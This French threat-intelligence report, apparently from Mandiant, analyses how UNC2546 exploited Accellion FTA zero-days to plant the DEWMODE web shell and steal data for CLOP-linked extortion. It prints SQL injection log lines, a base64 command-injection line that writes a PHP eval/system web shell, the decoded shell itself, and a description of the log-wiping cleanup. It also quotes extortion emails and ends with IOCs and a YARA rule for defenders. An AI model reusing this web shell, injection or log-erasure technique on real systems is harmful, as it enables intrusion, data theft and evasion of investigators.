Vol de données et extorsion : les cybercriminels exploitent Accellion FTA

Andrew Moore
Feb 22, 2021
13 min read
|   DERNIÈRE MISE À JOUR Oct 02, 2021

Depuis la mi-décembre 2020, le groupe d'attaque UNC2546 (nom de code donné par Mandiant) a exploité plusieurs vulnérabilités zero-day d'une ancienne version d'Accellion FTA (File Transfer Appliance) afin d'installer DEWMODE, un web shell inconnu jusqu'alors. Il aura fallu attendre la fin du mois de janvier 2021 pour découvrir les vraies motivations d'UNC2546, lorsque plusieurs entreprises ciblées en décembre ont reçu des e-mails de chantage les menaçant de publier des données volées sur le site .onion de shaming appelé “CL0P^_- LEAKS". Certaines des données publiées sur ce site ont effectivement été subtilisées à l'aide du web shell DEWMODE.

Notons par ailleurs que le nombre de victimes exposées publiquement sur “CL0P^_- LEAKS" a augmenté en février 2021, les données publiées provenant notamment d'entreprises implantées aux États-Unis, à Singapour, au Canada et aux Pays-Bas. Dans une note séparée, Mandiant avait déjà signalé que le groupe d'attaque FIN11 avait menacé de publier des données volées sur ce même site .onion afin de faire pression sur les victimes de son ransomware CLOP. Toutefois, au cours de tentatives d'extorsion CLOP récentes, aucun ransomware n'a été déployé et aucun autre indicateur de compromission propre à FIN11 n'a été détecté.

Nous enquêtons actuellement sur les cas d'exploitation des vulnérabilités zero-day d'Accellion FTA et les vols de données d'entreprises utilisatrices de l'ancien produit FTA sous le nom de code UNC2546. Les activités d'extorsion qui s'ensuivent, elles, sont investiguées sous la dénomination UNC2582. À cet égard, nous avons identifié des points communs entre UNC2582, UNC2546 et d'anciennes opérations de FIN11. Cependant, nos travaux de recherche des relations entre ces clusters d'activité sont encore en cours. Pour en savoir plus sur notre utilisation des désignations « UNC », lisez notre article de blog intitulé "DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors."

Mandiant travaille en étroite collaboration avec Accellion sur ce sujet et produira un bilan de sécurité complet dans les prochaines semaines. Au moment où nous écrivons cet article, Accellion a corrigé toutes les vulnérabilités FTA connues et exploitables, tout en ajoutant de nouvelles fonctionnalités d'alerte et de surveillance pour le signalement des anomalies associées à ces vecteurs d'attaque. De son côté, Mandiant a validé ces correctifs. Nous réalisons actuellement des tests d'intrusion et une analyse du code de la version actuelle d'Accellion FTA. Jusqu'ici, nous n'avons identifié aucune autre faille critique dans ce produit. L'attaque a touché les clients Accellion qui utilisent l'ancienne version de FTA.

Accellion FTA est un produit en fin de vie lancé il y a 20 ans. L'éditeur recommande fortement à ses clients de migrer vers Kiteworks, sa plateforme Enterprise Content Firewall. D'après Accellion, Kiteworks repose sur un codebase complètement différent.

Les identifiants CVE suivants sont désormais utilisés pour traquer les vulnérabilités récemment corrigées d'Accellion FTA :

  • CVE-2021-27101 – injection SQL via un en-tête d'hôte spécialement conçu
  • CVE-2021-27102 – exécution de commande OS via un appel de service web local
  • CVE-2021-27103 – SSRF via une requête POST spécialement conçue
  • CVE-2021-27104 – exécution de commande OS via une requête POST spécialement conçue

UNC2546 et DEWMODE

À la mi-décembre 2020, Mandiant est intervenu sur de multiples incidents au cours desquels un web shell baptisé DEWMODE a servi à exfiltrer des données des produits Accellion FTA. Accellion FTA est une application d'entreprise spécialement conçue pour le transfert sécurisé de gros fichiers. Ces activités d'exfiltration ont touché de nombreux secteurs et pays.

Mandiant a constaté des points communs entre ces incidents sur le plan du mode opératoire et de l'infrastructure utilisée, notamment l'exploitation de FTA pour déployer le web shell DEWMODE. Nous en avons conclu qu'un seul et même groupe d'attaque, que nos services ont nommé UNC2546, était à l'origine de ces activités. Bien que l'analyse de tous les détails des vulnérabilités exploitées pour installer DEWMODE soit toujours en cours, les preuves réunies lors de multiples investigations clients ont déjà permis de repérer plusieurs similitudes entre les différentes activités d'UNC2546.

Preuves d'exploitation et installation de DEWMODE

En examinant les logs système et Apache des équipements touchés, Mandiant est parvenu à reconstituer une bonne partie de la chaîne de compromission d'Accellion FTA – de la compromission initiale à la tentative d'extorsion, en passant par le déploiement de DEWMODE.

C'est à la mi-décembre que nous avons commencé à identifier des activités associées à cette campagne. À l'époque, Mandiant a constaté que le groupe UNC2546 exploitait une faille permettant d'injecter du code SQL dans Accellion FTA. Cette première injection SQL servait de vecteur d'intrusion principal.

Comme le montre la figure 1, Mandiant a trouvé des signes d'injection SQL suivie de requêtes vers d'autres ressources.

[.'))union(select(c_value)from(t_global)where(t_global.c_param)=('w1'))#/sid#935ee00][rid#9700968/initial] (1) pass through /courier/document_root.html

['))union(select(loc_id)from(net1.servers)where(proximity)=(0))#/sid#935ee00][rid#9706978/initial] (1) pass through /courier/document_root.html

[.'))union(select(reverse(c_value))from(t_global)where(t_global.c_param)=('w1'))#/sid#935ee00][rid#971c098/initial] (1) pass through /courier/document_root.html

[<redacted>/sid#935ee00][rid#971a090/initial] (1) pass through /courier/sftp_account_edit.php

[<redacted>/sid#935ee00][rid#9706978/initial] (1) pass through /courier/oauth.api

[<redacted>/sid#935ee00][rid#9708980/initial] (1) pass through /courier/oauth.api

 

Figure 1 : Log d'injection SQL

UNC2546 a exploité cette vulnérabilité pour récupérer une clé, elle-même utilisée en conjonction avec une requête vers le fichier sftp_account_edit.php. Dans la foulée, l'utilitaire admin.pl intégré à Accellion était exécuté, avec pour conséquence la création d'un web shell eval pour oauth.api.

PWD=/home/seos/courier ; USER=root ; COMMAND=/usr/local/bin/admin.pl --edit_user=F
--mount_cifs=-
V,DF,$(echo${IFS}PD9waHAKCmlmKGlzc2V0KCRfUkVRVUVTVFsndG9rZW4nXSkpCnsKICAgIGV2YWwoYm
FzZTY0X2RlY29kZSgkX1JFUVVFU1RbJ3Rva2VuJ10pKTsKfQplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsnd
XNlcm5hbWUnXSkpCnsKICAgIHN5c3RlbSgkX1JFUVVFU1RbJ3VzZXJuYW1lJ10pOwp9CmVsc2UKewogICAgaG
VhZGVyKCdMb2NhdGlvbjogLycpOwp9|base64${IFS}-d|tee${IFS}/home/seos/courier/oauth.api);FUK;",PASSWORD # \" --passwd=pop

Figure 2 : Extrait du log montrant la création du web shell eval

Vous trouverez le contenu décodé à la figure 3.

<?php

if(isset($_REQUEST['token']))
{
    eval(base64_decode($_REQUEST['token']));
}
else if(isset($_REQUEST['username']))
{
    system($_REQUEST['username']);
}
else
{
    header('Location: /');
}

Figure 3 : Web shell eval décodé

Presque aussitôt après, le web shell DEWMODE était créé sur le système. La chronologie de ces requêtes suggère que DEWMODE était installé via le web shell oauth.api . Toutefois, rien n'indique précisément le mécanisme utilisé pour enregistrer DEWMODE sur le disque.

Le web shell DEWMODE se trouvait dans l'un des deux emplacements suivants :

  • /home/seos/courier/about.html
  • /home/httpd/html/about.html

Comme le montre la figure 4, il extrayait une liste de fichiers disponibles à partir d'une base de données MySQL sur FTA et listait ces fichiers et leurs métadonnées – ID de fichier, chemin, nom de fichier, auteur de l'upload et destinataire – sur une page HTML. Ensuite, UNC2546 utilisait cette liste pour télécharger les fichiers via le web shell DEWMODE. Les requêtes de téléchargement figurent dans les logs web de FTA, qui contiendront les requêtes au web shell DEWMODE dont les paramètres d'URL sont chiffrés et encodés, « dwn » étant le chemin du fichier demandé et « fn » étant son nom (cf. Figure 5). Ces deux valeurs chiffrées visibles dans les logs web peuvent être déchiffrées à l'aide de la clé obtenue à partir de la base de données utilisée par l'instance FTA infectée. Compte tenu de la complexité de ce processus, n'hésitez pas à contacter Mandiant ou Accellion pour l'examen des logs concernés.

 


Figure 4 : Copie d'écran du web shell DEWMODE

GET /courier/about.html?dwn=[REDACTED]&fn=[REDACTED] HTTP/1.1" 200 1098240863 "-" "-" "-" TLSv1.2 ECDHE-RSA-AES128-SHA256

Figure 5 : Paramètres d'URL de téléchargement de fichier DEWMODE

Une fois les fichiers téléchargés, UNC2546 lançait une procédure de nettoyage en envoyant un paramètre de requête spécifique nommé csrftoken, avec la valeur 11454bd782bb41db213d415e10a0fb3c, à DEWMODE. Ce paramètre déclenchait les actions suivantes :

  • Enregistrement d'un script shell dans /tmp/.scr :
    • Suppression de toute référence à about.html dans les logs du répertoire /var/opt/apache/
    • Enregistrement du log modifié dans /tmp/x et remplacement du log original dans /var/opt/apache/
    • Suppression des contenus du log /home/seos/log/adminpl.log
    • Suppression de /home/seos/courier/about.html (DEWMODE) et /home/seos/courier/oauth.api (web shell eval), et redirection des sorties de commande vers le fichier /tmp/.out
    • Modification des autorisations liées au fichier de sortie pour le rendre accessible en lecture/écriture et exécutable par tous les utilisateurs, sans oublier d'effacer tout nom de propriétaire
  • Suppression du fichier de script /tmp/.scr et d'autres fichiers temporaires créés pour la procédure de nettoyage
  • Affichage des données de sortie pour l'utilisateur ayant lancé la procédure

Vous trouverez un exemple de requête de nettoyage et d'exécution du script associé à la figure 6.

GET /courier/about.html?csrftoken=11454bd782bb41db213d415e10a0fb3c HTTP/1.1" 200 5 "-" "https://[MASQUÉ]//courier/about.html?aid=1000" "Mozilla/5.0 (X11; Linux x86_64; rv:82.0) Gecko/20100101

sft sudo:   nobody : TTY=unknown ; PWD=/home/seos/courier ; USER=root ; COMMAND=/usr/local/bin/admin.pl --mount_cifs=AF,DF,'$(sh /tmp/.scr)',PASSWORD

Figure 6 : Requête de nettoyage DEWMODE

Mandiant a également identifié une variante de DEWMODE (bdfd11b1b092b7c61ce5f02ffc5ad55a) dont la procédure de nettoyage était légèrement différente. En effet, elle ordonnait l'effacement de /var/log/secure et la suppression de about.html et de oauth.api des répertoires /home/httpd/html/ au lieu de /home/seos/courier/.

Lors de certains incidents, nous avons également constaté qu'UNC2546 récupérait un fichier nommé cache.js.gz (cf. Figure 7). Compte tenu de la chronologie des accès à l'utilitaire mysqldump et aux répertoires mysql, le fichier compressé contenait probablement un dump de la base de données. À l'exception de cache.js.gz, Mandiant n'a constaté aucune récupération de fichiers des instances d'Accellion par un autre moyen que DEWMODE.

GET //courier/cache.js.gz HTTP/1.1" 200 35654360 "-" "-" "python-requests/2.24.0" TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256

Figure 7: Récupération du fichier cache.js.gz

UNC2582 : vol de données et extorsion

Peu après l'installation du web shell, souvent au bout de quelques heures seulement, UNC2546 exploitait DEWMODE pour télécharger des fichiers des instances FTA compromises. Si les motivations des attaquants n'étaient pas claires au départ, plusieurs semaines après l'installation du web shell DEWMODE, les victimes recevaient un e-mail d'extorsion d'un hacker soi-disant membre de l'équipe du ransomware CLOP (cf. Figures 8 et 9). Les attaquants menaçaient de publier les données volées sur le site de shaming .onion "CL0P^_- LEAKS" afin de porter préjudice aux victimes si elles ne leur versaient pas la somme demandée. De notre côté, nous traquons ces activités d'extorsion comme un cluster séparé, nom de code UNC2582. Toutefois, nous avons identifié au moins un cas où l'attaquant interagissait avec le web shell DEWMODE d'un hôte utilisé pour envoyer un e-mail de chantage attribué à UNC2582.

Bonjour,

Nous avons piraté votre réseau et volé une grande quantité de données importantes. <description of stolen data, including the total size of the compressed files> Nous appartenons à l'équipe du ransomware CLOP. Si vous cherchez sur Google, vous trouverez des infos et des articles nous concernant. Nous avons un site web sur lequel nous publions de l'actu et des fichiers volés à des entreprises qui ont refusé de coopérer. Voici l'adresse : http://[masqué].onion/. Utilisez le navigateur TOR ou le site web miroir http://[masqué].onion.dog/. Chaque jour, notre site est consulté par 20 000 à 30 000 journalistes, experts informatiques, hackers et concurrents. Nous vous conseillons de nous contacter par chat dans les 24 heures pour discuter de la situation. <victim-specific negotiation URL> Utilisez le navigateur TOR. Notre but n'est pas de vous nuire, mais seulement de gagner de l'argent. Nous sommes également prêts à fournir des preuves d'existence des fichiers en notre possession.

Figure 8 : Exemple n° 1 de message d'extorsion (traduction)

Ceci est notre dernier avertissement.

Si vous ne nous contactez pas aujourd'hui, nous créerons dès demain une page contenant des copies d'écran de vos fichiers (similaire aux autres pages de notre site)  et enverrons des messages à toutes les adresses e-mail trouvées dans vos fichiers. Étant donné que des journalistes et des hackers consultent notre site, vous ne tarderez pas à recevoir des appels et des questions. Les sites d'infos commenceront à publier des informations sur cette fuite et vous demanderont de réagir.

Pour échapper à ce genre de publicité, contactez-nous par chat ou par e-mail pour discuter de votre situation.

CHAT :  <victim-specific negotiation URL>

E-MAIL : [email protected]

UTILISEZ LE NAVIGATEUR TOR

Figure 9 : Exemple n° 2 de message d'extorsion (traduction)

D'après nos observations au cours de plusieurs interventions, UNC2582 semble suivre une procédure d'escalade bien particulière pour faire pression sur les victimes jusqu'à ce qu'elles accèdent à sa demande. Les premiers e-mails sont envoyés à partir d'un compte de messagerie gratuit, probablement un par victime, à une liste apparemment restreinte d'adresses associées à l'entreprise ciblée. Si la victime ne répond pas rapidement, d'autres e-mails sont envoyés à un nombre bien plus grand de destinataires, à partir de centaines voire de milliers de comptes de messagerie différents et d'une grande variété de serveurs SMTP. Dans au moins un cas, UNC2582 a également envoyé des e-mails  à des partenaires de sa victime. Ces messages contenaient des liens vers les données volées et un chat pour la négociation. En surveillant le site de shaming CL0P^_- LEAKS, nous avons pu constater que les attaquants UNC2582 mettaient volontiers leurs menaces à exécution. Ces dernières semaines, les données volées de plusieurs victimes ont été publiées, y compris celles d'au moins une entreprise qui a confirmé publiquement la compromission récente de son instance d'Accellion FTA.

Principaux points communs avec FIN11

Similitudes entre UNC2582 (extorsion) et FIN11

Mandiant a trouvé des points communs entre les activités de vol de données et d'extorsion d'UNC2582 et d'anciennes opérations de FIN11, notamment des adresses e-mail d'expéditeur et l'utilisation du site de shaming CLOP^_- LEAKS. Bien que le groupe d'attaque FIN11 soit connu pour ses déploiements du ransomware CLOP, nous avons déjà constaté qu'il procédait parfois à des vols de données et à des tentatives d'extorsion sans ransomware – comme UNC2582.

  • Certains e-mails de chantage d'UNC2582 datant de janvier 2021 ont été envoyés à partir d'adresses IP et/ou de comptes de messagerie utilisés par FIN11 au cours de multiples campagnes de phishing entre août et décembre 2020, notamment certaines des dernières opérations clairement attribuables au groupe.
  • Nous n'avons encore détecté aucune activité de phishing de FIN11 en 2021. Le groupe fait généralement une pause pendant les fêtes de fin d'année et a déjà levé le pied à plusieurs reprises par le passé. Toutefois, ce dernier hiatus coïncide également avec une période d'activité d'UNC2582 pour le vol de données et le chantage.
  • Les e-mails d'extorsion d'UNC2582 contenaient un lien vers le site CL0P^_- LEAKS et/ou vers une page de négociation propre à chaque victime. Les sites web vers lesquels renvoyaient les liens étaient les mêmes que ceux utilisés lors d'anciennes opérations de CLOP, une série de campagnes de ransomware, de vol de données et d'extorsion attribuables uniquement à FIN11 selon nous.

Similitudes entre UNC2546 (exploitation de FTA et DEWMODE) et FIN11

Nous avons également identifié un petit nombre de points communs entre FIN11 et UNC2546.

  • De nombreuses entreprises compromises par UNC2546 ont déjà été ciblées par FIN11.
  • Une adresse IP qui communiquait avec un web shell DEWMODE faisait partie du bloc de réseau "Fortunix Networks L.P.", un réseau fréquemment utilisé par FIN11 pour héberger des domaines de téléchargement et des serveurs de commande et contrôle (CnC) FRIENDSPEAK.

Répercussions

Les points communs entre FIN11, UNC2546 et UNC2582 sont évidents. Toutefois, nous continuons d'observer ces clusters séparément pendant que nous tentons d'élucider la nature exacte de leur relation. La difficulté tient notamment dans le fait que ces similitudes avec FIN11 concernent uniquement les stades avancés du cycle d'attaque. En effet, UNC2546 utilise un vecteur d'attaque et une méthode d'implantation différente. Contrairement à FIN11, le groupe ne s'est apparemment pas non plus propagé au reste des réseaux infectés. Par conséquent, nous manquons encore de preuves pour attribuer formellement l'exploitation de FTA, DEWMODE et les activités de vol de données et d'extorsion qui s'ensuivent à FIN11. L'utilisation d'injections SQL pour le déploiement de DEWMODE ou l'accès à un shell DEWMODE d'un autre groupe d'attaque représenterait une refonte complète du mode opératoire de FIN11. Par le passé, le groupe a en effet misé sur les campagnes de phishing comme vecteur d'attaque initial. Nous ne l'avons pas encore vu exploiter des vulnérabilités zero-day.  

Remerciements

David Wong, Brandon Walters, Stephen Eckels et Jon Erickson

Indicateurs de compromission (IOC)

Web shells DEWMODE

MD5

SHA256

2798c0e836b907e8224520e7e6e4bb42

5fa2b9546770241da7305356d6427847598288290866837626f621d794692c1b

bdfd11b1b092b7c61ce5f02ffc5ad55a

2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7

Adresses IP source pour UNC2546

Les adresses IP source suivantes ont été identifiées lors de multiples intrusions attribuées à UNC2546 :

  • 45.135.229.179
  • 79.141.162.82
  • 155.94.160.40
  • 192.154.253.120
  • 192.52.167.101
  • 194.88.104.24

Détections

Détections FireEye

  • FE_Webshell_PHP_DEWMODE_1
  • FEC_Webshell_PHP_DEWMODE_1
  • Webshell.PHP.DEWMODE

Mandiant Security Validation

  • A101-515 Transferts de fichiers malveillants - web shell DEWMODE, upload, variante n° 1
  • A101-516 Transferts de fichiers malveillants - web shell DEWMODE, upload, variante n° 2

Règle YARA pour DEWMODE

La règle YARA ci-dessous n’a pas vocation à être utilisée sur des systèmes en production, ni à sous-tendre des règles de blocage sans avoir été d’abord validée lors de tests internes visant à garantir ses bonnes performances et à limiter le risque de faux positifs. Cette règle peut servir de point de départ à vos activités de traque des payloads DEWMODE. Toutefois, vous devrez peut-être l'adapter au fil du temps, si la famille de malware évolue.

rule DEWMODE_PHP_Webshell
{
    strings:
        $s1 = /if \(isset\(\$_REQUEST\[[\x22\x27]dwn[\x22\x27]]\)[\x09\x20]{0,32}&&[\x09\x20]{0,32}isset\(\$_REQUEST\[[\x22\x27]fn[\x22\x27]\]\)\)\s{0,256}\{/
        $s2 = "<th>file_id</th>"
        $s3 = "<th>path</th>"
        $s4 = "<th>file_name</th>"
        $s5 = "<th>uploaded_by</th>"
        $s6 = "target=\\\"_blank\\\">Download</a></td>"
        $s7 = "Content-Type: application/octet-stream"
        $s8 = "Content-disposition: attachment; filename="
    condition:
        all of them
}